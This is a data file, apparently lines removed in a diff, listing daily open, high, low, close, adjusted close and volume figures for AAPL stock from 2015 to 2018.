-2015-03-03,128.9600067138672,129.52000427246094,128.08999633789062,129.36000061035156,119.04476165771484,37816300.0,AAPL
-2015-03-04,129.10000610351562,129.55999755859375,128.32000732421875,128.5399932861328,118.2901382446289,31666300.0,AAPL
-2015-03-05,128.5800018310547,128.75,125.76000213623047,126.41000366210938,116.33000946044922,56517100.0,AAPL
-2015-03-06,128.39999389648438,129.3699951171875,126.26000213623047,126.5999984741211,116.50484466552734,72842100.0,AAPL
-2015-03-09,127.95999908447266,129.57000732421875,125.05999755859375,127.13999938964844,117.00180053710938,88528500.0,AAPL
-2015-03-10,126.41000366210938,127.22000122070312,123.80000305175781,124.51000213623047,114.58150482177734,68856600.0,AAPL
-2015-03-11,124.75,124.7699966430664,122.11000061035156,122.23999786376953,112.49252319335938,68939000.0,AAPL
-2015-03-12,122.30999755859375,124.9000015258789,121.62999725341797,124.44999694824219,114.52629089355469,48362700.0,AAPL
-2015-03-13,124.4000015258789,125.4000015258789,122.58000183105469,123.58999633789062,113.73485565185547,51827300.0,AAPL
-2015-03-16,123.87999725341797,124.94999694824219,122.87000274658203,124.94999694824219,114.9864273071289,35874300.0,AAPL
-2015-03-17,125.9000015258789,127.31999969482422,125.6500015258789,127.04000091552734,116.90975952148438,51023100.0,AAPL
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-2015-04-20,125.56999969482422,128.1199951171875,125.16999816894531,127.5999984741211,117.42511749267578,47054300.0,AAPL
-2015-04-21,128.10000610351562,128.1999969482422,126.66999816894531,126.91000366210938,116.7901382446289,32435100.0,AAPL
-2015-04-22,126.98999786376953,128.8699951171875,126.31999969482422,128.6199951171875,118.36377716064453,37654500.0,AAPL
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-2015-04-30,128.63999938964844,128.63999938964844,124.58000183105469,125.1500015258789,115.17047882080078,83195400.0,AAPL
-2015-05-01,126.0999984741211,130.1300048828125,125.30000305175781,128.9499969482422,118.6674575805664,58512600.0,AAPL
-2015-05-04,129.5,130.57000732421875,128.25999450683594,128.6999969482422,118.43739318847656,50988300.0,AAPL
-2015-05-05,128.14999389648438,128.4499969482422,125.77999877929688,125.80000305175781,115.76864624023438,49271400.0,AAPL
-2015-05-06,126.55999755859375,126.75,123.36000061035156,125.01000213623047,115.0416488647461,72141000.0,AAPL
-2015-05-07,124.7699966430664,126.08000183105469,124.0199966430664,125.26000213623047,115.75320434570312,43940900.0,AAPL
-2015-05-08,126.68000030517578,127.62000274658203,126.11000061035156,127.62000274658203,117.93408966064453,55550400.0,AAPL
-2015-05-11,127.38999938964844,127.55999755859375,125.62999725341797,126.31999969482422,116.73274993896484,42035800.0,AAPL
-2015-05-12,125.5999984741211,126.87999725341797,124.81999969482422,125.87000274658203,116.3169174194336,48160000.0,AAPL
-2015-05-13,126.1500015258789,127.19000244140625,125.87000274658203,126.01000213623047,116.44629669189453,34694200.0,AAPL
-2015-05-14,127.41000366210938,128.9499969482422,127.16000366210938,128.9499969482422,119.16313934326172,45203500.0,AAPL
-2015-05-15,129.07000732421875,129.49000549316406,128.2100067138672,128.77000427246094,118.99681091308594,38208000.0,AAPL
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-2015-05-19,130.69000244140625,130.8800048828125,129.63999938964844,130.07000732421875,120.1981430053711,44633200.0,AAPL
-2015-05-20,130.0,130.97999572753906,129.33999633789062,130.05999755859375,120.18889617919922,36454900.0,AAPL
-2015-05-21,130.07000732421875,131.6300048828125,129.8300018310547,131.38999938964844,121.41796112060547,39730400.0,AAPL
-2015-05-22,131.60000610351562,132.97000122070312,131.39999389648438,132.5399932861328,122.48069763183594,45596000.0,AAPL
-2015-05-26,132.60000610351562,132.91000366210938,129.1199951171875,129.6199951171875,119.78228759765625,70697600.0,AAPL
-2015-05-27,130.33999633789062,132.25999450683594,130.0500030517578,132.0399932861328,122.01863861083984,45833200.0,AAPL
-2015-05-28,131.86000061035156,131.9499969482422,131.10000610351562,131.77999877929688,121.77835083007812,30733300.0,AAPL
-2015-05-29,131.22999572753906,131.4499969482422,129.89999389648438,130.27999877929688,120.3922119140625,50884500.0,AAPL
-2015-06-01,130.27999877929688,131.38999938964844,130.0500030517578,130.5399932861328,120.63246154785156,32112800.0,AAPL
-2015-06-02,129.86000061035156,130.66000366210938,129.32000732421875,129.9600067138672,120.09648132324219,33667600.0,AAPL
-2015-06-03,130.66000366210938,130.94000244140625,129.89999389648438,130.1199951171875,120.24434661865234,30983500.0,AAPL
-2015-06-04,129.5800018310547,130.5800018310547,128.91000366210938,129.36000061035156,119.54202270507812,38450100.0,AAPL
-2015-06-05,129.5,129.69000244140625,128.36000061035156,128.64999389648438,118.88591003417969,35626800.0,AAPL
-2015-06-08,128.89999389648438,129.2100067138672,126.83000183105469,127.80000305175781,118.10042572021484,52674800.0,AAPL
-2015-06-09,126.69999694824219,128.0800018310547,125.62000274658203,127.41999816894531,117.74925994873047,56075400.0,AAPL
-2015-06-10,127.91999816894531,129.33999633789062,127.8499984741211,128.8800048828125,119.09844207763672,39087300.0,AAPL
-2015-06-11,129.17999267578125,130.17999267578125,128.47999572753906,128.58999633789062,118.8304672241211,35390900.0,AAPL
-2015-06-12,128.19000244140625,128.3300018310547,127.11000061035156,127.16999816894531,117.51824188232422,36886200.0,AAPL
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-2015-06-16,127.02999877929688,127.8499984741211,126.37000274658203,127.5999984741211,117.91559600830078,31494100.0,AAPL
-2015-06-17,127.72000122070312,127.87999725341797,126.73999786376953,127.30000305175781,117.63838195800781,32918100.0,AAPL
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-2015-06-19,127.70999908447266,127.81999969482422,126.4000015258789,126.5999984741211,116.99150848388672,54716900.0,AAPL
-2015-06-22,127.48999786376953,128.05999755859375,127.08000183105469,127.61000061035156,117.92485046386719,34039300.0,AAPL
-2015-06-23,127.4800033569336,127.61000061035156,126.87999725341797,127.02999877929688,117.38887023925781,30268900.0,AAPL
-2015-06-24,127.20999908447266,129.8000030517578,127.12000274658203,128.11000061035156,118.38690185546875,55280900.0,AAPL
-2015-06-25,128.86000061035156,129.1999969482422,127.5,127.5,117.82321166992188,31938100.0,AAPL
-2015-06-26,127.66999816894531,127.98999786376953,126.51000213623047,126.75,117.13011169433594,44066800.0,AAPL
-2015-06-29,125.45999908447266,126.47000122070312,124.4800033569336,124.52999877929688,115.07860565185547,49161400.0,AAPL
-2015-06-30,125.56999969482422,126.12000274658203,124.86000061035156,125.43000030517578,115.9103012084961,44370700.0,AAPL
-2015-07-01,126.9000015258789,126.94000244140625,125.98999786376953,126.5999984741211,116.99150848388672,30238800.0,AAPL
-2015-07-02,126.43000030517578,126.69000244140625,125.7699966430664,126.44000244140625,116.8436279296875,27211000.0,AAPL
-2015-07-06,124.94000244140625,126.2300033569336,124.8499984741211,126.0,116.4370346069336,28060400.0,AAPL
-2015-07-07,125.88999938964844,126.1500015258789,123.7699966430664,125.69000244140625,116.15057373046875,46946800.0,AAPL
-2015-07-08,124.4800033569336,124.63999938964844,122.54000091552734,122.56999969482422,113.26736450195312,60761600.0,AAPL
-2015-07-09,123.8499984741211,124.05999755859375,119.22000122070312,120.06999969482422,110.95711517333984,78595000.0,AAPL
-2015-07-10,121.94000244140625,123.8499984741211,121.20999908447266,123.27999877929688,113.92346954345703,61354500.0,AAPL
-2015-07-13,125.02999877929688,125.76000213623047,124.31999969482422,125.66000366210938,116.12284851074219,41440500.0,AAPL
-2015-07-14,126.04000091552734,126.37000274658203,125.04000091552734,125.61000061035156,116.07662200927734,31768100.0,AAPL
-2015-07-15,125.72000122070312,127.1500015258789,125.58000183105469,126.81999969482422,117.19480895996094,33649200.0,AAPL
-2015-07-16,127.73999786376953,128.57000732421875,127.3499984741211,128.50999450683594,118.75654602050781,36222400.0,AAPL
-2015-07-17,129.0800018310547,129.6199951171875,128.30999755859375,129.6199951171875,119.78228759765625,46164700.0,AAPL
-2015-07-20,130.97000122070312,132.97000122070312,130.6999969482422,132.07000732421875,122.0463638305664,58900200.0,AAPL
-2015-07-21,132.85000610351562,132.9199981689453,130.32000732421875,130.75,120.8265380859375,76756400.0,AAPL
-2015-07-22,121.98999786376953,125.5,121.98999786376953,125.22000122070312,115.71623229980469,115450600.0,AAPL
-2015-07-23,126.19999694824219,127.08999633789062,125.05999755859375,125.16000366210938,115.66078186035156,50999500.0,AAPL
-2015-07-24,125.31999969482422,125.73999786376953,123.9000015258789,124.5,115.05088806152344,42162300.0,AAPL
-2015-07-27,123.08999633789062,123.61000061035156,122.12000274658203,122.7699966430664,113.4521713256836,44455500.0,AAPL
-2015-07-28,123.37999725341797,123.91000366210938,122.55000305175781,123.37999725341797,114.01588439941406,33618100.0,AAPL
-2015-07-29,123.1500015258789,123.5,122.2699966430664,122.98999786376953,113.65547180175781,37011700.0,AAPL
-2015-07-30,122.31999969482422,122.56999969482422,121.70999908447266,122.37000274658203,113.08255767822266,33628300.0,AAPL
-2015-07-31,122.5999984741211,122.63999938964844,120.91000366210938,121.30000305175781,112.09375,42885000.0,AAPL
-2015-08-03,121.5,122.56999969482422,117.5199966430664,118.44000244140625,109.45081329345703,69976000.0,AAPL
-2015-08-04,117.41999816894531,117.69999694824219,113.25,114.63999938964844,105.93921661376953,124138600.0,AAPL
-2015-08-05,112.94999694824219,117.44000244140625,112.0999984741211,115.4000015258789,106.64154815673828,99312600.0,AAPL
-2015-08-06,115.97000122070312,116.5,114.12000274658203,115.12999725341797,106.87360382080078,52903000.0,AAPL
-2015-08-07,114.58000183105469,116.25,114.5,115.5199966430664,107.23564910888672,38670400.0,AAPL
-2015-08-10,116.52999877929688,119.98999786376953,116.52999877929688,119.72000122070312,111.13444519042969,54951600.0,AAPL
-2015-08-11,117.80999755859375,118.18000030517578,113.33000183105469,113.48999786376953,105.35123443603516,97082800.0,AAPL
-2015-08-12,112.52999877929688,115.41999816894531,109.62999725341797,115.23999786376953,106.9757080078125,101217500.0,AAPL
-2015-08-13,116.04000091552734,116.4000015258789,114.54000091552734,115.1500015258789,106.8921890258789,48535800.0,AAPL
-2015-08-14,114.31999969482422,116.30999755859375,114.01000213623047,115.95999908447266,107.64407348632812,42929500.0,AAPL
-2015-08-17,116.04000091552734,117.6500015258789,115.5,117.16000366210938,108.75802612304688,40884700.0,AAPL
-2015-08-18,116.43000030517578,117.44000244140625,116.01000213623047,116.5,108.14537811279297,34560700.0,AAPL
-2015-08-19,116.0999984741211,116.5199966430664,114.68000030517578,115.01000213623047,106.76223754882812,48286500.0,AAPL
-2015-08-20,114.08000183105469,114.3499984741211,111.62999725341797,112.6500015258789,104.57145690917969,68501600.0,AAPL
-2015-08-21,110.43000030517578,111.9000015258789,105.6500015258789,105.76000213623047,98.17554473876953,128275500.0,AAPL
-2015-08-24,94.87000274658203,108.80000305175781,92.0,103.12000274658203,95.72489929199219,162206300.0,AAPL
-2015-08-25,111.11000061035156,111.11000061035156,103.5,103.73999786376953,96.30042266845703,103601600.0,AAPL
-2015-08-26,107.08999633789062,109.88999938964844,105.05000305175781,109.69000244140625,101.82373046875,96774600.0,AAPL
-2015-08-27,112.2300033569336,113.23999786376953,110.0199966430664,112.91999816894531,104.82211303710938,84616100.0,AAPL
-2015-08-28,112.16999816894531,113.30999755859375,111.54000091552734,113.29000091552734,105.16555786132812,53164400.0,AAPL
-2015-08-31,112.02999877929688,114.52999877929688,112.0,112.76000213623047,104.673583984375,56229300.0,AAPL
-2015-09-01,110.1500015258789,111.87999725341797,107.36000061035156,107.72000122070312,99.9950180053711,76845900.0,AAPL
-2015-09-02,110.2300033569336,112.33999633789062,109.12999725341797,112.33999633789062,104.28369140625,61888800.0,AAPL
-2015-09-03,112.48999786376953,112.77999877929688,110.04000091552734,110.37000274658203,102.45496368408203,53233900.0,AAPL
-2015-09-04,108.97000122070312,110.44999694824219,108.51000213623047,109.2699966430664,101.43385314941406,49996300.0,AAPL
-2015-09-08,111.75,112.55999755859375,110.31999969482422,112.30999755859375,104.25584411621094,54843600.0,AAPL
-2015-09-09,113.76000213623047,114.0199966430664,109.7699966430664,110.1500015258789,102.25074768066406,85010800.0,AAPL
-2015-09-10,110.2699966430664,113.27999877929688,109.9000015258789,112.56999969482422,104.4971923828125,62892800.0,AAPL
-2015-09-11,111.79000091552734,114.20999908447266,111.76000213623047,114.20999908447266,106.01958465576172,49915500.0,AAPL
-2015-09-14,116.58000183105469,116.88999938964844,114.86000061035156,115.30999755859375,107.04068756103516,58363400.0,AAPL
-2015-09-15,115.93000030517578,116.52999877929688,114.41999816894531,116.27999877929688,107.94114685058594,43341200.0,AAPL
-2015-09-16,116.25,116.54000091552734,115.44000244140625,116.41000366210938,108.06181335449219,37173500.0,AAPL
-2015-09-17,115.66000366210938,116.48999786376953,113.72000122070312,113.91999816894531,105.75038146972656,64112600.0,AAPL
-2015-09-18,112.20999908447266,114.30000305175781,111.87000274658203,113.44999694824219,105.3140869140625,74285300.0,AAPL
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-2016-01-04,102.61000061035156,105.37000274658203,102.0,105.3499984741211,98.21358489990234,67649400.0,AAPL
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-2016-03-29,104.88999938964844,107.79000091552734,104.87999725341797,107.68000030517578,100.93046569824219,31190100.0,AAPL
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-2017-01-03,115.80000305175781,116.33000183105469,114.76000213623047,116.1500015258789,110.69115447998047,28781900.0,AAPL
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-2017-03-27,139.38999938964844,141.22000122070312,138.6199951171875,140.8800048828125,134.8410186767578,23575100.0,AAPL
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-2017-07-03,144.8800048828125,145.3000030517578,143.10000610351562,143.5,137.91558837890625,14277800.0,AAPL
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-2017-07-06,143.02000427246094,143.5,142.41000366210938,142.72999572753906,137.1755828857422,24128800.0,AAPL
-2017-07-07,142.89999389648438,144.75,142.89999389648438,144.17999267578125,138.56915283203125,19201700.0,AAPL
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-2017-07-31,149.89999389648438,150.3300018310547,148.1300048828125,148.72999572753906,142.94207763671875,19845900.0,AAPL
-2017-08-01,149.10000610351562,150.22000122070312,148.41000366210938,150.0500030517578,144.21072387695312,35368600.0,AAPL
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-2017-08-28,160.13999938964844,162.0,159.92999267578125,161.47000122070312,155.79571533203125,25966000.0,AAPL
-2017-08-29,160.10000610351562,163.1199951171875,160.0,162.91000366210938,157.1851043701172,29516900.0,AAPL
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-2017-08-31,163.63999938964844,164.52000427246094,163.47999572753906,164.0,158.23678588867188,26785100.0,AAPL
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-2017-09-08,160.86000061035156,161.14999389648438,158.52999877929688,158.6300048828125,153.05552673339844,28611500.0,AAPL
-2017-09-11,160.5,162.0500030517578,159.88999938964844,161.5,155.8246612548828,31580800.0,AAPL
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-2017-09-20,157.89999389648438,158.25999450683594,153.8300018310547,156.07000732421875,150.58547973632812,52951400.0,AAPL
-2017-09-21,155.8000030517578,155.8000030517578,152.75,153.38999938964844,147.99964904785156,37511700.0,AAPL
-2017-09-22,151.5399932861328,152.27000427246094,150.55999755859375,151.88999938964844,146.55235290527344,46645400.0,AAPL
-2017-09-25,149.99000549316406,151.8300018310547,149.16000366210938,150.5500030517578,145.25946044921875,44387300.0,AAPL
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-2017-09-28,153.88999938964844,154.27999877929688,152.6999969482422,153.27999877929688,147.89352416992188,22005500.0,AAPL
-2017-09-29,153.2100067138672,154.1300048828125,152.0,154.1199951171875,148.7039794921875,26299800.0,AAPL
-2017-10-02,154.25999450683594,154.4499969482422,152.72000122070312,153.80999755859375,148.40489196777344,18698800.0,AAPL
-2017-10-03,154.00999450683594,155.08999633789062,153.91000366210938,154.47999572753906,149.05136108398438,16230300.0,AAPL
-2017-10-04,153.6300048828125,153.86000061035156,152.4600067138672,153.47999572753906,148.0865020751953,20163800.0,AAPL
-2017-10-05,154.17999267578125,155.44000244140625,154.0500030517578,155.38999938964844,149.9293670654297,21283800.0,AAPL
-2017-10-06,154.97000122070312,155.49000549316406,154.55999755859375,155.3000030517578,149.84251403808594,17407600.0,AAPL
-2017-10-09,155.80999755859375,156.72999572753906,155.49000549316406,155.83999633789062,150.36354064941406,16262900.0,AAPL
-2017-10-10,156.05999755859375,158.0,155.10000610351562,155.89999389648438,150.4214324951172,15617000.0,AAPL
-2017-10-11,155.97000122070312,156.97999572753906,155.75,156.5500030517578,151.04861450195312,16905600.0,AAPL
-2017-10-12,156.35000610351562,157.3699951171875,155.72999572753906,156.0,150.51795959472656,16125100.0,AAPL
-2017-10-13,156.72999572753906,157.27999877929688,156.41000366210938,156.99000549316406,151.47315979003906,16394200.0,AAPL
-2017-10-16,157.89999389648438,160.0,157.64999389648438,159.8800048828125,154.2615966796875,24121500.0,AAPL
-2017-10-17,159.77999877929688,160.8699951171875,159.22999572753906,160.47000122070312,154.8308563232422,18997300.0,AAPL
-2017-10-18,160.4199981689453,160.7100067138672,159.60000610351562,159.75999450683594,154.14581298828125,16374200.0,AAPL
-2017-10-19,156.75,157.0800018310547,155.02000427246094,155.97999572753906,150.49862670898438,42584200.0,AAPL
-2017-10-20,156.61000061035156,157.75,155.9600067138672,156.25,150.75914001464844,23974100.0,AAPL
-2017-10-23,156.88999938964844,157.69000244140625,155.5,156.1699981689453,150.68197631835938,21984300.0,AAPL
-2017-10-24,156.2899932861328,157.4199981689453,156.1999969482422,157.10000610351562,151.5792694091797,17757200.0,AAPL
-2017-10-25,156.91000366210938,157.5500030517578,155.27000427246094,156.41000366210938,150.9135284423828,21207100.0,AAPL
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-2017-11-03,174.0,174.25999450683594,171.1199951171875,172.5,166.43809509277344,59398600.0,AAPL
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-2017-11-28,174.3000030517578,174.8699951171875,171.86000061035156,173.07000732421875,167.58837890625,26428800.0,AAPL
-2017-11-29,172.6300048828125,172.9199981689453,167.16000366210938,169.47999572753906,164.11212158203125,41666400.0,AAPL
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-2017-12-01,169.9499969482422,171.6699981689453,168.5,171.0500030517578,165.63233947753906,39759300.0,AAPL
-2017-12-04,172.47999572753906,172.6199951171875,169.6300048828125,169.8000030517578,164.4219207763672,32542400.0,AAPL
-2017-12-05,169.05999755859375,171.52000427246094,168.39999389648438,169.63999938964844,164.26698303222656,27350200.0,AAPL
-2017-12-06,167.5,170.1999969482422,166.4600067138672,169.00999450683594,163.65696716308594,28560000.0,AAPL
-2017-12-07,169.02999877929688,170.44000244140625,168.91000366210938,169.32000732421875,163.95716857910156,25673300.0,AAPL
-2017-12-08,170.49000549316406,171.0,168.82000732421875,169.3699951171875,164.0055389404297,23355200.0,AAPL
-2017-12-11,169.1999969482422,172.88999938964844,168.7899932861328,172.6699981689453,167.20103454589844,35273800.0,AAPL
-2017-12-12,172.14999389648438,172.38999938964844,171.4600067138672,171.6999969482422,166.26174926757812,19409200.0,AAPL
-2017-12-13,172.5,173.5399932861328,172.0,172.27000427246094,166.81370544433594,23818400.0,AAPL
-2017-12-14,172.39999389648438,173.1300048828125,171.64999389648438,172.22000122070312,166.76528930664062,20476500.0,AAPL
-2017-12-15,173.6300048828125,174.1699981689453,172.4600067138672,173.97000122070312,168.45986938476562,40169300.0,AAPL
-2017-12-18,174.8800048828125,177.1999969482422,174.86000061035156,176.4199981689453,170.832275390625,29421100.0,AAPL
-2017-12-19,175.02999877929688,175.38999938964844,174.08999633789062,174.5399932861328,169.01177978515625,27436400.0,AAPL
-2017-12-20,174.8699951171875,175.4199981689453,173.25,174.35000610351562,168.82781982421875,23475600.0,AAPL
-2017-12-21,174.1699981689453,176.02000427246094,174.10000610351562,175.00999450683594,169.4669189453125,20949900.0,AAPL
-2017-12-22,174.67999267578125,175.4199981689453,174.5,175.00999450683594,169.4669189453125,16349400.0,AAPL
-2017-12-26,170.8000030517578,171.47000122070312,169.67999267578125,170.57000732421875,165.16757202148438,33185500.0,AAPL
-2017-12-27,170.10000610351562,170.77999877929688,169.7100067138672,170.60000610351562,165.19662475585938,21498200.0,AAPL
-2017-12-28,171.0,171.85000610351562,170.47999572753906,171.0800018310547,165.66140747070312,16480200.0,AAPL
-2017-12-29,170.52000427246094,170.58999633789062,169.22000122070312,169.22999572753906,163.8699951171875,25999900.0,AAPL
-2018-01-02,170.16000366210938,172.3000030517578,169.25999450683594,172.25999450683594,166.80401611328125,25555900.0,AAPL
-2018-01-03,172.52999877929688,174.5500030517578,171.9600067138672,172.22999572753906,166.77496337890625,29517900.0,AAPL
-2018-01-04,172.5399932861328,173.47000122070312,172.0800018310547,173.02999877929688,167.54962158203125,22434600.0,AAPL
-2018-01-05,173.44000244140625,175.3699951171875,173.0500030517578,175.0,169.45721435546875,23660000.0,AAPL
-2018-01-08,174.35000610351562,175.61000061035156,173.92999267578125,174.35000610351562,168.82781982421875,20567800.0,AAPL
-2018-01-09,174.5500030517578,175.05999755859375,173.41000366210938,174.3300018310547,168.80845642089844,21584000.0,AAPL
-2018-01-10,173.16000366210938,174.3000030517578,173.0,174.2899932861328,168.76971435546875,23959900.0,AAPL
-2018-01-11,174.58999633789062,175.49000549316406,174.49000549316406,175.27999877929688,169.72837829589844,18667700.0,AAPL
-2018-01-12,176.17999267578125,177.36000061035156,175.64999389648438,177.08999633789062,171.48106384277344,25418100.0,AAPL
-2018-01-16,177.89999389648438,179.38999938964844,176.13999938964844,176.19000244140625,170.60955810546875,29565900.0,AAPL
-2018-01-17,176.14999389648438,179.25,175.07000732421875,179.10000610351562,173.42739868164062,34386800.0,AAPL
-2018-01-18,179.3699951171875,180.10000610351562,178.25,179.25999450683594,173.5823211669922,31193400.0,AAPL
-2018-01-19,178.61000061035156,179.5800018310547,177.41000366210938,178.4600067138672,172.8076629638672,32425100.0,AAPL
-2018-01-22,177.3000030517578,177.77999877929688,176.60000610351562,177.0,171.3939208984375,27108600.0,AAPL
-2018-01-23,177.3000030517578,179.44000244140625,176.82000732421875,177.0399932861328,171.43263244628906,32689100.0,AAPL
-2018-01-24,177.25,177.3000030517578,173.1999969482422,174.22000122070312,168.7019500732422,51105100.0,AAPL
-2018-01-25,174.50999450683594,174.9499969482422,170.52999877929688,171.11000061035156,165.69044494628906,41529000.0,AAPL
-2018-01-26,172.0,172.0,170.05999755859375,171.50999450683594,166.0777587890625,39143000.0,AAPL
-2018-01-29,170.16000366210938,170.16000366210938,167.07000732421875,167.9600067138672,162.6402130126953,50640400.0,AAPL
-2018-01-30,165.52999877929688,167.3699951171875,164.6999969482422,166.97000122070312,161.68157958984375,46048200.0,AAPL
-2018-01-31,166.8699951171875,168.44000244140625,166.5,167.42999267578125,162.12701416015625,32478900.0,AAPL
-2018-02-01,167.1699981689453,168.6199951171875,166.75999450683594,167.77999877929688,162.46591186523438,47230800.0,AAPL
-2018-02-02,166.0,166.8000030517578,160.10000610351562,160.5,155.41651916503906,86593800.0,AAPL
-2018-02-05,159.10000610351562,163.8800048828125,156.0,156.49000549316406,151.53350830078125,72738500.0,AAPL
-2018-02-06,154.8300018310547,163.72000122070312,154.0,163.02999877929688,157.8663330078125,68243800.0,AAPL
-2018-02-07,163.08999633789062,163.39999389648438,159.07000732421875,159.5399932861328,154.48687744140625,51608600.0,AAPL
-2018-02-08,160.2899932861328,161.0,155.02999877929688,155.14999389648438,150.23594665527344,54390500.0,AAPL
-2018-02-09,157.07000732421875,157.88999938964844,150.24000549316406,156.41000366210938,152.07354736328125,70672600.0,AAPL
-2018-02-12,158.5,163.88999938964844,157.50999450683594,162.7100067138672,158.19888305664062,60819500.0,AAPL
-2018-02-13,161.9499969482422,164.75,161.64999389648438,164.33999633789062,159.78367614746094,32549200.0,AAPL
-2018-02-14,163.0399932861328,167.5399932861328,162.8800048828125,167.3699951171875,162.72967529296875,40644900.0,AAPL
-2018-02-15,169.7899932861328,173.08999633789062,169.0,172.99000549316406,168.19387817382812,51147200.0,AAPL
-2018-02-16,172.36000061035156,174.82000732421875,171.77000427246094,172.42999267578125,167.64939880371094,40176100.0,AAPL
-2018-02-20,172.0500030517578,174.25999450683594,171.4199981689453,171.85000610351562,167.08547973632812,33930500.0,AAPL
-2018-02-21,172.8300018310547,174.1199951171875,171.00999450683594,171.07000732421875,166.3271026611328,37471600.0,AAPL
-2018-02-22,171.8000030517578,173.9499969482422,171.7100067138672,172.5,167.7174530029297,30991900.0,AAPL
-2018-02-23,173.6699981689453,175.64999389648438,173.5399932861328,175.5,170.63427734375,33812400.0,AAPL
-2018-02-26,176.35000610351562,179.38999938964844,176.2100067138672,178.97000122070312,174.008056640625,38162200.0,AAPL
-2018-02-27,179.10000610351562,180.47999572753906,178.16000366210938,178.38999938964844,173.4441680908203,38928100.0,AAPL
-2018-02-28,179.25999450683594,180.6199951171875,178.0500030517578,178.1199951171875,173.18165588378906,37782100.0,AAPL
-2018-03-01,178.5399932861328,179.77999877929688,172.66000366210938,175.0,170.1481170654297,48802000.0,AAPL
-2018-03-02,172.8000030517578,176.3000030517578,172.4499969482422,176.2100067138672,171.32460021972656,38454000.0,AAPL
-2018-03-05,175.2100067138672,177.74000549316406,174.52000427246094,176.82000732421875,171.91770935058594,28401400.0,AAPL
-2018-03-06,177.91000366210938,178.25,176.1300048828125,176.6699981689453,171.7718505859375,23788500.0,AAPL
-2018-03-07,174.94000244140625,175.85000610351562,174.27000427246094,175.02999877929688,170.1773223876953,31703500.0,AAPL
-2018-03-08,175.47999572753906,177.1199951171875,175.07000732421875,176.94000244140625,172.03436279296875,23774100.0,AAPL
-2018-03-09,177.9600067138672,180.0,177.38999938964844,179.97999572753906,174.99005126953125,32185200.0,AAPL
-2018-03-12,180.2899932861328,182.38999938964844,180.2100067138672,181.72000122070312,176.68182373046875,32207100.0,AAPL
-2018-03-13,182.58999633789062,183.5,179.24000549316406,179.97000122070312,174.9803466796875,31693500.0,AAPL
-2018-03-14,180.32000732421875,180.52000427246094,177.80999755859375,178.44000244140625,173.4927520751953,29368400.0,AAPL
-2018-03-15,178.5,180.24000549316406,178.07000732421875,178.64999389648438,173.69692993164062,22743800.0,AAPL
-2018-03-16,178.64999389648438,179.1199951171875,177.6199951171875,178.02000427246094,173.0844268798828,39404700.0,AAPL
-2018-03-19,177.32000732421875,177.47000122070312,173.66000366210938,175.3000030517578,170.43983459472656,33446800.0,AAPL
-2018-03-20,175.24000549316406,176.8000030517578,174.94000244140625,175.24000549316406,170.38150024414062,19649400.0,AAPL
-2018-03-21,175.0399932861328,175.08999633789062,171.25999450683594,171.27000427246094,166.5215606689453,37054900.0,AAPL
-2018-03-22,170.0,172.67999267578125,168.60000610351562,168.85000610351562,164.1686553955078,41490800.0,AAPL
-2018-03-23,168.38999938964844,169.9199981689453,164.94000244140625,164.94000244140625,160.36703491210938,41028800.0,AAPL
-2018-03-26,168.07000732421875,173.10000610351562,166.44000244140625,172.77000427246094,167.97999572753906,37541200.0,AAPL
-2018-03-27,173.67999267578125,175.14999389648438,166.9199981689453,168.33999633789062,163.6727752685547,40922600.0,AAPL
-2018-03-28,167.25,170.02000427246094,165.19000244140625,166.47999572753906,161.86436462402344,41668500.0,AAPL
-2018-03-29,167.80999755859375,171.75,166.89999389648438,167.77999877929688,163.12831115722656,38398500.0,AAPL
-2018-04-02,166.63999938964844,168.94000244140625,164.47000122070312,166.67999267578125,162.05880737304688,37586800.0,AAPL
-2018-04-03,167.63999938964844,168.75,164.8800048828125,168.38999938964844,163.72142028808594,30278000.0,AAPL
-2018-04-04,164.8800048828125,172.00999450683594,164.77000427246094,171.61000061035156,166.85214233398438,34605500.0,AAPL
-2018-04-05,172.5800018310547,174.22999572753906,172.0800018310547,172.8000030517578,168.00912475585938,26933200.0,AAPL
-2018-04-06,170.97000122070312,172.47999572753906,168.1999969482422,168.3800048828125,163.71170043945312,35005300.0,AAPL
-2018-04-09,169.8800048828125,173.08999633789062,169.85000610351562,170.0500030517578,165.33538818359375,29017700.0,AAPL
-2018-04-10,173.0,174.0,171.52999877929688,173.25,168.44667053222656,28408600.0,AAPL
-2018-04-11,172.22999572753906,173.9199981689453,171.6999969482422,172.44000244140625,167.65911865234375,22431600.0,AAPL
-2018-04-12,173.41000366210938,175.0,173.0399932861328,174.13999938964844,169.31199645996094,22889300.0,AAPL
-2018-04-13,174.77999877929688,175.83999633789062,173.85000610351562,174.72999572753906,169.88560485839844,25124300.0,AAPL
-2018-04-16,175.02999877929688,176.19000244140625,174.8300018310547,175.82000732421875,170.94541931152344,21578400.0,AAPL
-2018-04-17,176.49000549316406,178.94000244140625,176.41000366210938,178.24000549316406,173.29830932617188,26605400.0,AAPL
-2018-04-18,177.80999755859375,178.82000732421875,176.8800048828125,177.83999633789062,172.90939331054688,20754500.0,AAPL
-2018-04-19,173.75999450683594,175.38999938964844,172.66000366210938,172.8000030517578,168.00912475585938,34808800.0,AAPL
-2018-04-20,170.60000610351562,171.22000122070312,165.42999267578125,165.72000122070312,161.1254119873047,65491100.0,AAPL
-2018-04-23,166.8300018310547,166.9199981689453,164.08999633789062,165.24000549316406,160.65875244140625,36515500.0,AAPL
-2018-04-24,165.6699981689453,166.3300018310547,161.22000122070312,162.94000244140625,158.42251586914062,33692000.0,AAPL
-2018-04-25,162.6199951171875,165.4199981689453,162.41000366210938,163.64999389648438,159.11280822753906,28382100.0,AAPL
-2018-04-26,164.1199951171875,165.72999572753906,163.3699951171875,164.22000122070312,159.66700744628906,27963000.0,AAPL
-2018-04-27,164.0,164.3300018310547,160.6300048828125,162.32000732421875,157.81968688964844,35655800.0,AAPL
-2018-04-30,162.1300048828125,167.25999450683594,161.83999633789062,165.25999450683594,160.6781768798828,42427400.0,AAPL
-2018-05-01,166.41000366210938,169.1999969482422,165.27000427246094,169.10000610351562,164.4116973876953,53569400.0,AAPL
-2018-05-02,175.22999572753906,177.75,173.8000030517578,176.57000732421875,171.67462158203125,66539400.0,AAPL
-2018-05-03,175.8800048828125,177.5,174.44000244140625,176.88999938964844,171.98573303222656,34068200.0,AAPL
-2018-05-04,178.25,184.25,178.1699981689453,183.8300018310547,178.7333221435547,56201300.0,AAPL
-2018-05-07,185.17999267578125,187.6699981689453,184.75,185.16000366210938,180.02645874023438,42451400.0,AAPL
-2018-05-08,184.99000549316406,186.22000122070312,183.6699981689453,186.0500030517578,180.8917694091797,28402800.0,AAPL
-2018-05-09,186.5500030517578,187.39999389648438,185.22000122070312,187.36000061035156,182.1654510498047,23211200.0,AAPL
